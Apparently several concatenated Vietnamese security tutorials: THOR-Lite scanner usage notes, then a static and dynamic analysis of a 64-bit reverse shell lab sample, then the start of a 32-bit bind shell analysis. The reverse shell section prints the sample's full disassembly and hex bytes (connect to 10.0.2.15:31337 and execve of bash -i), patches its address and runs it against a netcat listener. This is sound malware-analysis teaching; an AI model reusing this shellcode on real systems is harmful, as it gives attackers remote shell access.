Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_thor_2021-04-28_1604.txt' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted

Hoặc trường hợp các report nằm ở các thư mục riêng lẻ

\( \)files = Get-ChildItem -Path "path\to\directory" -Attributes !Directory -Recurse | Select-Object -ExpandProperty FullName
\( \)thor_cmd = "path\to\thor-lite-util.exe decrypt --privkey path\to\key.pri "
\( foreach(\)item in \(files) { Invoke-Expression -Command "\)thor_cmd $item" }

1.3. Gộp các Report

Kết quả scan của nhiều máy có thể gộp chung lại thành một report dạng HTML. Mỗi máy sẽ có các report dạng *.txt, cần thu thập các file này lại và đặt cùng một thư mục. Thực hiện lệnh sau:

$ thor-lite-util.exe report --logdir path\to\report-txt\

Jan  5 09:57:36 desktop-h4sv2ln THOR_LITE_UTIL: Info: [!] filter file is empty or no filter file defined
Jan  5 09:57:36 desktop-h4sv2ln THOR_LITE_UTIL: Info: Counts: 0 Alerts, 10 Warnings, 88 Notices, 296 Infos, 0 Errors
Jan  5 09:57:37 desktop-h4sv2ln THOR_LITE_UTIL: Info: Counts: 0 Alerts, 13 Warnings, 47 Notices, 686 Infos, 0 Errors
Jan  5 09:57:37 desktop-h4sv2ln THOR_LITE_UTIL: Info: > 2 log files processed
Jan  5 09:57:37 desktop-h4sv2ln THOR_LITE_UTIL: Info: [+] Report generated as 'report.htm'

2. Process Memory Scanner

Đôi khi nếu chỉ quét tệp tin thì sẽ không thể phát hiện được Malware, vì chúng có thể sử dụng rất nhiều kỹ thuật: obfuscate, packing,.. để bypass các hệ thống rà quét dựa trên signature. Trong vùng nhớ của một tiến trình độc hại đang hoạt động, rất có thể chứa các strings, bytes dữ liệu,.. Đây là các signature mà THOR có thể phát hiện (tất nhiên phải có Rules phát hiện). Lưu ý là THOR mặc định quét các tiến trình với kích thước trên Mem tối đa là 524288000 bytes = 524MB.

2.1. Chỉ định quét một Process:

Phiên bản THOR-Lite sẽ mặc định enable các module như Autoruns và FileSystem, Cần disable các module này khi chỉ quét Process. Tham số --process 2332,7888 chỉ ra ta đang quét các tiến trình có PID = 2332 và 7888. Lưu ý là nó chỉ quét một tiến trình đc chỉ định PID, nó không quét các tiến trình con và giả sử các tiến trình đều là cùng 1 tệp executable thì THOR sẽ chỉ Report 1 Process.

$ thor-lite.exe --process 2332,7888 --noautoruns --nofilesystem

2.2. Quét kiểm tra các Process với C2 IOCs có sẵn:

Tùy chọn này: --c2-in-memory quét tất cả các tiến trình với các IOCs có sẵn trong: .\signatures\iocs\. Theo mặc định thì **THOR-Lite** bật module ProcessCheck và nó cũng đã có luôn tùy chọn này rồi.

$ thor-lite.exe --c2-in-memory --noautoruns --nofilesystem

2.3. Quét Offline một tệp Process Dump:

Tùy chọn này THOR-Lite không hỗ trợ, phải có License của bản “THOR xịn!” 🤤 Để thu được các tệp dump này có thể dùng: Task Manager, Process Explorer, ProcDump,.v.v...

$ thor-lite.exe --image_file "path\to\example.dmp"

3. Output Options

Đầu ra của THOR có thể được tùy chỉnh để thuận tiện làm INPUT cho các hệ thống quản lý tập chung khác. Một số option hữu ích:

• --ascii: Không in các ký tự non-ASCII vào Report

• --cmdkeyval: Show kết quả dạng JSON ở CMD/Console

• --csvfile "PC-01.csv": Chỉ định tên Report dạng CSV. Mặc định ":hostname:_files_md5s.csv"

• --htmlfile "PC-01.html": Chỉ định tên Report dạng HTM. Mặc định ":hostname:_thor_2021-04-28_1405.html"

• l, --logfile "PC-01.txt": Chỉ định tên Report dạng TXT. Mặc định ":hostname:_thor_2021-04-28_1405.txt"

• --encrypt: Mã hóa RSA Report, sử dụng kết hợp với --pubkey ".\thor-rsa-public.pem"

• --json: Mặc định không xuất Report dạng JSON, nếu dùng tham số này sẽ xuất JSON report theo tên mặc định, sử dụng --jsonfile "PC-01.json" để chỉ định tên file Report

• --nocsv, --nohtml, --nolog: Không xuất Report theo các định dạng tương ứng

1. Trích xuất thông tin tự động

Trong bài Phân tích BindShell trước đó, ở bước thu thập thông tin, chúng ta đã sử dụng các công cụ có sẵn như: file, strings, objdump, readelf, hexdump,.. để trích xuất thông tin cũng như phân tích một cách thủ công các tệp ELF. Phần này sẽ sử dụng Bash Script để tự động hóa các bước này.

Chạy Bash Script để lấy nhanh kết quả:

\( ./bac-automation.sh ch07-revshell64 "output-\)(date +%m-%d-%Y-%H:%M:%S).txt"
FILE TYPE INFORMATION

ch07-revshell64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
...

Nhìn vào kết quả được lưu trong tệp *.txt, ta thấy chuỗi: "ch07-revshell64.nasm"

STRINGS INFORMATION

////bashSH  |  /////binSH  |  Pfh-iH  |  PVWH  |  **ch07-revshell64.nasm**  |  __bss_start  |  _edata  |  _end  |  .symtab  |  .strtab  |  .shstrtab  |  .text  |

Có duy nhất một Section .text

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  LOAD           0x000000 0x0000000000400000 0x0000000000400000 0x000121 0x000121 R E 0x200000

 Section to Segment mapping:
  Segment Sections...
   00     .text

Rất ít thông tin trong Symbol Table:

Symbol table '.symtab' contains 7 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 0000000000400080     0 SECTION LOCAL  DEFAULT    1
     2: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS **ch07-revshell64.nasm**
     3: 0000000000400080     0 NOTYPE  GLOBAL DEFAULT    1 _start
     4: 0000000000600121     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
     5: 0000000000600121     0 NOTYPE  GLOBAL DEFAULT    1 _edata
     6: 0000000000600128     0 NOTYPE  GLOBAL DEFAULT    1 _end

Như vậy bước đầu ta có thể xác định được tệp ELF này được viết bằng Assembly, chương trình rất tinh gọn, không có nhiều thông tin dư thừa đi kèm.

2. Phân tích tĩnh Objdump

Tương tự như khi phân tích bindshell, tôi vẫn dùng objdump là công cụ chính khi phân tích tĩnh reverse shell. Nhìn vào output của objdump có thể thấy nó không nhận diện được các khối mã như với bindshell trước đó, vì đây là x86_64 Assembly. Do vậy, chúng ta sẽ tự chia các đoạn code thành các khối, với mối khối kết thúc bằng lệnh Syscall, lấy địa chỉ đầu làm tên khối.

• Kết quả của objdump khi disassembly reverse shell**:**

  OBJDUMP EXECUTABLE
  
  ch07-revshell64:     file format elf64-x86-64
  
  Disassembly of section .text:
  
  ; <sub_400080>
  0000000000400080 <_start>:
    400080:       48 31 c0                xor    rax,rax
    400083:       b0 29                   mov    al,0x29
    400085:       48 31 ff                xor    rdi,rdi
    400088:       40 80 c7 02             add    dil,0x2
    40008c:       48 31 f6                xor    rsi,rsi
    40008f:       48 83 c6 01             add    rsi,0x1
    400093:       48 31 d2                xor    rdx,rdx
    400096:       0f 05                   syscall
  
  ; <sub_400098>
    400098:       48 89 c7                mov    rdi,rax
    40009b:       48 31 c0                xor    rax,rax
    40009e:       50                      push   rax
    40009f:       c7 44 24 fc 0a 00 02    mov    DWORD PTR [rsp-0x4],0xf02000a
    4000a6:       0f
    4000a7:       66 c7 44 24 fa 7a 69    mov    WORD PTR [rsp-0x6],0x697a
    4000ae:       89 44 24 f6             mov    DWORD PTR [rsp-0xa],eax
    4000b2:       c6 44 24 f8 02          mov    BYTE PTR [rsp-0x8],0x2
    4000b7:       48 83 ec 08             sub    rsp,0x8
    4000bb:       48 31 c0                xor    rax,rax
    4000be:       b0 2a                   mov    al,0x2a
    4000c0:       48 89 e6                mov    rsi,rsp
    4000c3:       48 31 d2                xor    rdx,rdx
    4000c6:       48 83 c2 10             add    rdx,0x10
    4000ca:       0f 05                   syscall
  
  ; <sub_4000cc>
    4000cc:       48 31 c0                xor    rax,rax
    4000cf:       b0 21                   mov    al,0x21
    4000d1:       48 31 f6                xor    rsi,rsi
    4000d4:       0f 05                   syscall
    4000d6:       48 31 c0                xor    rax,rax
    4000d9:       b0 21                   mov    al,0x21
    4000db:       48 ff c6                inc    rsi
    4000de:       0f 05                   syscall
    4000e0:       48 31 c0                xor    rax,rax
    4000e3:       b0 21                   mov    al,0x21
    4000e5:       48 ff c6                inc    rsi
    4000e8:       0f 05                   syscall
  
  ; <sub_4000ea>
    4000ea:       48 31 c0                xor    rax,rax
    4000ed:       50                      push   rax
    4000ee:       48 31 db                xor    rbx,rbx
    4000f1:       48 bb 2f 2f 2f 2f 62    movabs rbx,0x687361622f2f2f2f
    4000f8:       61 73 68
    4000fb:       53                      push   rbx
    4000fc:       48 bb 2f 2f 2f 2f 2f    movabs rbx,0x6e69622f2f2f2f2f
    400103:       62 69 6e
    400106:       53                      push   rbx
    400107:       48 89 e7                mov    rdi,rsp
    40010a:       50                      push   rax
    40010b:       66 68 2d 69             pushw  0x692d
    40010f:       48 89 e6                mov    rsi,rsp
    400112:       50                      push   rax
    400113:       56                      push   rsi
    400114:       57                      push   rdi
    400115:       48 89 e6                mov    rsi,rsp
    400118:       48 31 d2                xor    rdx,rdx
    40011b:       48 83 c0 3b             add    rax,0x3b
    40011f:       0f 05                   syscall
  

Giải thích:

• Phân tích <sub_400080>:

  • Tại 400083: AL=0x29 ⇒ Tra cứu trong: unistd_64.h ta được: #define __NR_socket 41 ⇒ Tra cứu trong Man Page ta được: int socket(int domain, int type, int protocol);

  • Tại 400080, 400085, 40008c, 400093: Là các lệnh reset các thanh ghi RAX, RDI, RSI, RDX. Đây đều là các thanh ghi thiết lập các Param và System Call Number cho hàm socket. Hàm này khi được gọi thành công sẽ trả về một File Descriptor - sockfd, lưu vào RAX.

  • Tại 400088, 40008f, 400093: Khởi tạo giá trị cho các Param 1 (PF_INET), Param 2 (SOCK_STREAM), Param 3 (IPPROTO_IP) của hàm socket. Điểm khác biệt ở đây so với bindshell lần trước là nó ko dùng TCP mà dùng IP.

  • Tại 400096: Thực hiện System Call thông qua lệnh syscall

  • Như vậy khối code thứ nhất thực hiện khởi tạo socket: socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

• Phân tích <sub_400098>:

  • Tại 400098: sockfd được lưu vào RDI.

  • Tại 40009e: Ta thấy chương trình dùng lệnh PUSH để đẩy một thanh ghi 64-bits lên Stack nhưng bên dưới từ 4000a7 đến 4000b2 nó lại không dùng lệnh này mà thay vào đó là lệnh MOV. Lý do là vì trong x86_64 Assembly lệnh PUSH chỉ đẩy được thanh ghi 64-bits, 16-bits lên Stack, với 32-bits sẽ không hợp lệ.

  • Tại 40009f: Ta thử decode dữ liệu được đưa lên Stack, dữ liệu không hiển thị được như mong muốn như khi phân tích bindshell như bài trước. Lý do là vì đây không phải dạng chuỗi ký tự có thể hiển thị được, dữ liệu này là một địa chỉ IP đã được convert sang dạng hex. Ta sẽ decode như sau:

    $ python
    >>> '0f02000a'.decode('hex')[::-1]
    '\n\x00\x02\x0f'
    >>> import socket
    >>> socket.inet_ntoa('0a00020f'.decode('hex'))
    '10.0.2.15'
    

  • Khi đã có địa chỉ IP mà ReverShell kết nối đến, vậy ta hoàn toàn có thể đoán tại 4000a7 là đưa Port number lên Stack. Decode như sau:

    $ python
    >>> int('7a69', 16)
    31337
    >>> 0x7a69
    31337
    

  • Từ 4000ae đến 4000c6: Một loạt các thao tác thiết lập Stack phức tạp được thực hiện, phần này tôi sẽ không trình bày kỹ vì nó rất dài dòng. Về cơ bản chúng ta chỉ cần nắm được nguyên tắc trước khi thực hiện Syscall, chương trình sẽ thực hiện thiết lập các tham số theo thứ tự đã trình bày ở bài: “Binary 103: Linux 64-bit Assembly” trước đó đã trình bày. Sang bước sau phân tích động, khi chúng ta quan sát trạng thái các thanh ghi, ngăn xếp,.. khi đó sẽ dễ hình dung hơn.

  • Như vậy với khối code này ta sẽ có được như sau: AL=0x2a là System Call Number ⇒ #define __NR_connect 42 ⇒ Kiểm tra trong Man Page: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);. Param 1 (RDI) = 0x3 (sockfd), Param 2 (RSI) = {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, Param 3 (RDX) = 16.

  • Tóm lại khối này thực hiện kết nối đến máy chủ của Hacker: connect(sockfd, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("10.0.2.15")}, 16)

• Phân tích <sub_4000cc>:

  • Khối này thực hiện 3 lần gọi: dup2(3, 0), dup2(3, 1), dup2(3, 2) tương đương dup2(sockfd, STDIN), dup2(sockfd, STDOUT), dup2(sockfd, STDERR).

• Phân tích <sub_4000ea>:

  • Tại 4000f1, 4000fc, 40010b: đẩy dữ liệu dạng hex lên Stack. Decode các giá trị hex này:

    $ python
    >>> a = '6e69622f2f2f2f2f'.decode('hex')[::-1]
    >>> b = '687361622f2f2f2f'.decode('hex')[::-1]
    >>> final = a + b
    >>> final
    '/////bin////bash'
    

  • Trên Linux, hệ thống chấp nhận gọi một chương trình với nhiều ký tự '/', chương trình shell này lợi dụng để điền vào nhiều ký tự đó sao cho vừa đủ với kích thước 64-bits của thanh ghi. Tương tự tại 40010b, decode dữ liệu đưa lên Stack ta được:

    $ python
    >>> '692d'.decode('hex')[::-1]
    '-i'
    

  • Tại 400115: RSI trỏ vào đỉnh Stack ⇒ trỏ đến chuỗi: "/////bin////bash -i".

  • Tại 40011b: System Call Number được sao chép vào RAX. RAX=0x3b ⇒ #define __NR_execve 59 ⇒ int execve(const char *filename, char *const argv[], char *const envp[]);

  • Tại 40011f: Thực hiện System Call

  • Như vậy khối này sẽ gọi hàm execve để gọi ra Bash Shell.

3. Patching binary

Nhìn vào kết quả phân tích tĩnh ở trên có thể thấy được chương trình shell cố gắng kết nối đến máy có địa chỉ IP: 10.0.2.15, Port: 31337. Đây là một địa chỉ IP cục bộ. Như vậy để chương trình có thể hoạt động đúng và chính xác với những gì mong muốn trong bước phân tích động, chúng ta có 2 cách:

1. Tạo một máy ảo giả lập làm máy của Hacker, đặt địa chỉ IP của máy đó thành 10.0.2.15, sau đó sử dụng netcat ****chạy lắng nghe trên Port 31337.

2. Sửa đổi Binary của Shell, thay 10.0.2.15 thành 127.0.0.1 hoặc 127.1.1.1, sau đó dùng netcat lắng nghe trên 127.0.0.1:31337. Lúc này revershell thay vì kết nối đến địa chỉ IP của hacker thì sẽ kết nối đến Localhost. Cách này sẽ không mất công thiết lập máy ảo mới ⇒ Tôi sẽ sử dụng cách này.

Sử dụng bất kỳ một chương trình HexEditor nào đó, ví dụ: Hexedit, 010 Editor, HxD,.v.v.. Mở tệp sau đó search chuỗi byte sau: "0A00020F". Đây là địa chỉ ip đã phân tích được ở bước trước.

$ hexedit ch07-revshell64
00000000   7F 45 4C 46  02 01 01 00  00 00 00 00  00 00 00 00  02 00 3E 00  01 00 00 00  80 00 40 00  .ELF..............>.......@.
0000001C   00 00 00 00  40 00 00 00  00 00 00 00  20 02 00 00  00 00 00 00  00 00 00 00  40 00 38 00  ....@....... ...........@.8.
00000038   01 00 40 00  05 00 02 00  01 00 00 00  05 00 00 00  00 00 00 00  00 00 00 00  00 00 40 00  ..@.......................@.
00000054   00 00 00 00  00 00 40 00  00 00 00 00  21 01 00 00  00 00 00 00  21 01 00 00  00 00 00 00  ......@.....!.......!.......
00000070   00 00 20 00  00 00 00 00  00 00 00 00  00 00 00 00  48 31 C0 B0  29 48 31 FF  40 80 C7 02  .. .............H1..)H1.@...
0000008C   48 31 F6 48  83 C6 01 48  31 D2 0F 05  48 89 C7 48  31 C0 50 C7  44 24 FC **0A  00 02 0F** 66  H1.H...H1...H..H1.P.D$.....f
000000A8   C7 44 24 FA  7A 69 89 44  24 F6 C6 44  24 F8 02 48  83 EC 08 48  31 C0 B0 2A  48 89 E6 48  .D\(.zi.D\)..D$..H...H1..*H..H
000000C4   31 D2 48 83  C2 10 0F 05  48 31 C0 B0  21 48 31 F6  0F 05 48 31  C0 B0 21 48  FF C6 0F 05  1.H.....H1..!H1...H1..!H....
000000E0   48 31 C0 B0  21 48 FF C6  0F 05 48 31  C0 50 48 31  DB 48 BB 2F  2F 2F 2F 62  61 73 68 53  H1..!H....H1.PH1.H.////bashS
000000FC   48 BB 2F 2F  2F 2F 2F 62  69 6E 53 48  89 E7 50 66  68 2D 69 48  89 E6 50 56  57 48 89 E6  H./////binSH..Pfh-iH..PVWH..
00000118   48 31 D2 48  83 C0 3B 0F  05 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  H1.H..;.....................
00000134   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  03 00 01 00  80 00 40 00  00 00 00 00  ......................@.....
00000150   00 00 00 00  00 00 00 00  01 00 00 00  04 00 F1 FF  00 00 00 00  00 00 00 00  00 00 00 00  ............................
0000016C   00 00 00 00  1B 00 00 00  10 00 01 00  80 00 40 00  00 00 00 00  00 00 00 00  00 00 00 00  ..............@.............
00000188   16 00 00 00  10 00 01 00  21 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  22 00 00 00  ........!.`............."...
000001A4   10 00 01 00  21 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  29 00 00 00  10 00 01 00  ....!.`.............).......
000001C0   28 01 60 00  00 00 00 00  00 00 00 00  00 00 00 00  00 63 68 30  37 2D 72 65  76 73 68 65  (.`..............ch07-revshe
000001DC   6C 6C 36 34  2E 6E 61 73  6D 00 5F 5F  62 73 73 5F  73 74 61 72  74 00 5F 65  64 61 74 61  ll64.nasm.__bss_start._edata
000001F8   00 5F 65 6E  64 00 00 2E  73 79 6D 74  61 62 00 2E  73 74 72 74  61 62 00 2E  73 68 73 74  ._end...symtab..strtab..shst
00000214   72 74 61 62  00 2E 74 65  78 74 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  rtab..text..................
00000230   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
0000024C   00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  1B 00 00 00  01 00 00 00  ............................
00000268   06 00 00 00  00 00 00 00  80 00 40 00  00 00 00 00  80 00 00 00  00 00 00 00  A1 00 00 00  ..........@.................
00000284   00 00 00 00  00 00 00 00  00 00 00 00  10 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
000002A0   11 00 00 00  03 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  FE 01 00 00  ............................
000002BC   00 00 00 00  21 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  ....!.......................
000002D8   00 00 00 00  00 00 00 00  01 00 00 00  02 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ............................
000002F4   00 00 00 00  28 01 00 00  00 00 00 00  A8 00 00 00  00 00 00 00  04 00 00 00  03 00 00 00  ....(.......................
00000310   08 00 00 00  00 00 00 00  18 00 00 00  00 00 00 00  09 00 00 00  03 00 00 00  00 00 00 00  ............................
0000032C   00 00 00 00  00 00 00 00  00 00 00 00  D0 01 00 00  00 00 00 00  2E 00 00 00  00 00 00 00  ............................
00000348   00 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00               ........................

Trong HexEdit để search một chuỗi hex bytes, nhấn Ctrl+S sau đó điền chuỗi bytes viết liền không có khoảng trắng vào để tìm kiếm. Kết quả ta tìm được chuỗi địa chỉ ip có vị trí bắt đầu tại 0xA3 đến 0xA6. Sửa các chuỗi bytes này thành: "7F010101", đây là địa chỉ IP: 127.1.1.1 nó tương tự như 127.0.0.1 sau khi chuyển đổi. Ctrl+X để lưu và thoát.

Kiểm tra bằng cách dùng objdump để disassembly tệp đã được sửa, và quan sát kết quả dưới đây:

$ objdump -d -M intel ch07-revshell64-edited
...
  400098:       48 89 c7                mov    rdi,rax
  40009b:       48 31 c0                xor    rax,rax
  40009e:       50                      push   rax
  40009f:       c7 44 24 fc 7f 01 01    **mov    DWORD PTR [rsp-0x4],0x101017f**
  4000a6:       01
...

Quan sát tại 40009f, chúng ta đã sửa đổi thành công địa chỉ IP của Shell. Lúc này khi chạy chương trình nó sẽ kết nối đến 127.1.1.1:31337

4. Phân tích động với GDB/PEDA/STRACE

Trước tiên hãy chạy netcat lắng nghe trên Port 31337 như sau:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)

Kiểm tra lại, đảm bảo những gì ta thực hiện là chính xác:

$ sudo netstat -plant | grep 31337
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      58451/nc

Sử dụng GDB/PEDA để debugging chương trình Reverse Shell đã được Patched địa chỉ IP ở bước trước:

$ gdb ch07-revshell64-edited
gdb-peda$ start
gdb-peda$ pdisass _start
Dump of assembler code for function _start:
=> 0x0000000000400080 <+0>:     xor    rax,rax
   0x0000000000400083 <+3>:     mov    al,0x29
   0x0000000000400085 <+5>:     xor    rdi,rdi
   0x0000000000400088 <+8>:     add    dil,0x2
   0x000000000040008c <+12>:    xor    rsi,rsi
   0x000000000040008f <+15>:    add    rsi,0x1
   0x0000000000400093 <+19>:    xor    rdx,rdx
   **0x0000000000400096 <+22>:    syscall**
   0x0000000000400098 <+24>:    mov    rdi,rax
   0x000000000040009b <+27>:    xor    rax,rax
   0x000000000040009e <+30>:    push   rax
   0x000000000040009f <+31>:    mov    DWORD PTR [rsp-0x4],0x101017f
   0x00000000004000a7 <+39>:    mov    WORD PTR [rsp-0x6],0x697a
   0x00000000004000ae <+46>:    mov    DWORD PTR [rsp-0xa],eax
   0x00000000004000b2 <+50>:    mov    BYTE PTR [rsp-0x8],0x2
   0x00000000004000b7 <+55>:    sub    rsp,0x8
   0x00000000004000bb <+59>:    xor    rax,rax
   0x00000000004000be <+62>:    mov    al,0x2a
   0x00000000004000c0 <+64>:    mov    rsi,rsp
   0x00000000004000c3 <+67>:    xor    rdx,rdx
   0x00000000004000c6 <+70>:    add    rdx,0x10
   **0x00000000004000ca <+74>:    syscall**
   0x00000000004000cc <+76>:    xor    rax,rax
   0x00000000004000cf <+79>:    mov    al,0x21
   0x00000000004000d1 <+81>:    xor    rsi,rsi
   0x00000000004000d4 <+84>:    syscall
   0x00000000004000d6 <+86>:    xor    rax,rax
   0x00000000004000d9 <+89>:    mov    al,0x21
   0x00000000004000db <+91>:    inc    rsi
   0x00000000004000de <+94>:    syscall
   0x00000000004000e0 <+96>:    xor    rax,rax
   0x00000000004000e3 <+99>:    mov    al,0x21
   0x00000000004000e5 <+101>:   inc    rsi
   0x00000000004000e8 <+104>:   syscall
   0x00000000004000ea <+106>:   xor    rax,rax
   0x00000000004000ed <+109>:   push   rax
   0x00000000004000ee <+110>:   xor    rbx,rbx
   0x00000000004000f1 <+113>:   movabs rbx,0x687361622f2f2f2f
   0x00000000004000fb <+123>:   push   rbx
   0x00000000004000fc <+124>:   movabs rbx,0x6e69622f2f2f2f2f
   0x0000000000400106 <+134>:   push   rbx
   0x0000000000400107 <+135>:   mov    rdi,rsp
   0x000000000040010a <+138>:   push   rax
   0x000000000040010b <+139>:   pushw  0x692d
   0x000000000040010f <+143>:   mov    rsi,rsp
   0x0000000000400112 <+146>:   push   rax
   0x0000000000400113 <+147>:   push   rsi
   0x0000000000400114 <+148>:   push   rdi
   0x0000000000400115 <+149>:   mov    rsi,rsp
   0x0000000000400118 <+152>:   xor    rdx,rdx
   0x000000000040011b <+155>:   add    rax,0x3b
   **0x000000000040011f <+159>:   syscall**
End of assembler dump.

Đặt Breakpoint tại một số điểm gọi Syscall sau: _start+22, _start+74 và _start+159. Kiểm tra lại một lượt các breakpoint đã set bằng lệnh info breakpoints. Cuối cùng thực thi lệnh: continue

gdb-peda$ br * _start+22
Breakpoint 2 at 0x400096
gdb-peda$ br * _start+74
Breakpoint 3 at 0x4000ca
gdb-peda$ br * _start+159
Breakpoint 4 at 0x40011f
gdb-peda$ info breakpoints
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000000000400096 <_start+22>
3       breakpoint     keep y   0x00000000004000ca <_start+74>
4       breakpoint     keep y   0x000000000040011f <_start+159>
gdb-peda$ continue
...

Tại điểm đặt breakpoint thứ 1, nơi chương trình bắt đầu thiết lập Socket: socket(PF_INET, SOCK_STREAM, IPPROTO_IP)

Nhập lệnh continue để tiếp tục nhảy đến breakpoint thứ 2 đã đặt. Tại đây, chương trình thực hiện gọi hàm: connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); với tham số *addr (RSI) đang trỏ đến một cấu trúc dữ liệu bao gồm địa chỉ IP 127.1.1.1 đã đc Patched và số hiệu Port là 31337. PEDA nhận diện các Guessed arguments rất trực quan. Hãy xem hình dưới:

Kiểm tra Logs của netcat sẽ thấy như sau, báo hiệu có một client đã kết nối đến:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45662)

Tương tự, ta sẽ đến được breakpoint thứ 3 đã đặt. Tại đây quan sát trạng thái thanh ghi và Stack. Chương trình thực hiện gọi hàm execve với tham số truyền vào là chuỗi: "/////bin////bash -i". Quan sát hình dưới đây để thấy trực quan hơn:

Như vậy trong phần này chúng ta đã đi phân tích một Reverse Shell 64-bits đơn giản. Ngoài ra có thể sử dụng Strace để phân tích nhanh hơn và cũng là để xác minh lại những gì chúng ta đã phân tích tĩnh và động trước đó. Có nhiều công cụ và cách thức khác nhau để giải quyết một vấn đề sẽ tốt hơn là chỉ có một công cụ cho một vấn đề:

Khởi chạy netcat:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)

Kiểm tra với netstat:

$ sudo netstat -plant | grep -i 'listen'
tcp        0      0 127.0.1.1:53            0.0.0.0:*               LISTEN      1123/dnsmasq
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1013/sshd
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      55231/cupsd
**tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN      58606/nc**
...

Monitor bằng Strace. Để tránh "nhiễu" trong kết quả, tôi sẽ lọc theo một nhóm các API nhất định:

$ strace -itx -e trace=process,network ./ch07-revshell64-edited
17:48:54 [00007f7fe75547f7] execve("./ch07-revshell64-edited", ["./ch07-revshell64-edited"], [/* 22 vars */]) = 0
17:48:54 [0000000000400098] socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
17:48:54 [00000000004000cc] connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("127.1.1.1")}, 16) = 0
17:48:54 [0000000000400121] execve("/////bin////bash", ["/////bin////bash", "-i"], NULL) = 0
...

Kiểm tra lại logs trên netcat:

$ nc -lnvp 31337
Listening on [0.0.0.0] (family 0, port 31337)
Connection from [127.0.0.1] port 31337 [tcp/*] accepted (family 2, sport 45666)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

osboxes@bac64:/home/osboxes$ exit

Kết quả trên Strace:

$ strace -itx -e trace=process,network ./ch07-revshell64-edited
...
17:48:57 [00007fe6d14077c8] exit_group(0) = ?
17:48:57 [????????????????] +++ exited with 0 +++

1. Tìm kiếm và thu thập mẫu

Bước đầu cần xác định được vị trí của tệp độc hại. Sử dụng updatedb/locate. Tham số -w -i sẽ tìm kiếm mà không phân biệt chữ hoa, thường.

$ sudo updatedb
$ sudo locate -i -w ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.nasm
/home/osboxes/bac/Binary-Analysis-Cookbook/Chapter-06/src/ch06-bindshell32.o

Sử dụng find để xác định lại chính xác vị trí tệp:

$ sudo find -name ch06-bindshell32
./bac/Binary-Analysis-Cookbook/Chapter-06/32bit/ch06-bindshell32

2. Trích xuất thông tin mẫu

Cần thu thập càng nhiều thông tin hữu ích nhất về tệp càng tốt, các thông tin được sắp xếp một cách khoa học, dễ hiểu. Sử dụng các công cụ đã đề cập như: file, strings, objdump, readelf, hexdump,..

Sử dụng file:

$ file ch06-bindshell32
ch06-bindshell32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

Giải thích:

• ELF 32-bit LSB executable: Tệp thực thi được biên dịch cho máy 32-bits, Little-Endian

• Intel 80386: Kiến trúc VXL

• statically linked: Linux thường là static

• not stripped: Không xóa Debug Symbol và các thông tin khác

Trích xuất các chuỗi bằng strings:

$ strings ch06-bindshell32
Phbashh////h/bin
Pfh-i
ch06-bindshell32.nasm
jump_short
call_bind
listener
accept_connect
change_fd
shell_exec
portconfig
portnum
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text

Một số chuỗi cần quan tâm:

• Chuỗi: "Phbashh////h/bin" ⇒ Gợi nhớ đến chuỗi: "bin" và "bash"

• Chuỗi: "ch06-bindshell32.nasm" ⇒ Có thể là file chương trình ban đầu khi biên dịch

• Các chuỗi: "jump_short, call_bind, listener, accept_connect, change_fd, shell_exec, portconfig, portnum" ⇒ Các lable trong Assembly, nó như các khối mã

• Các chuỗi: ".symtab, .strtab, .shstrtab, .text" ⇒ Các section của tệp ELF

Sử dụng readelf để Trích xuất cấu trúc ELF:

$ readelf -a -W ch06-bindshell32
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048060
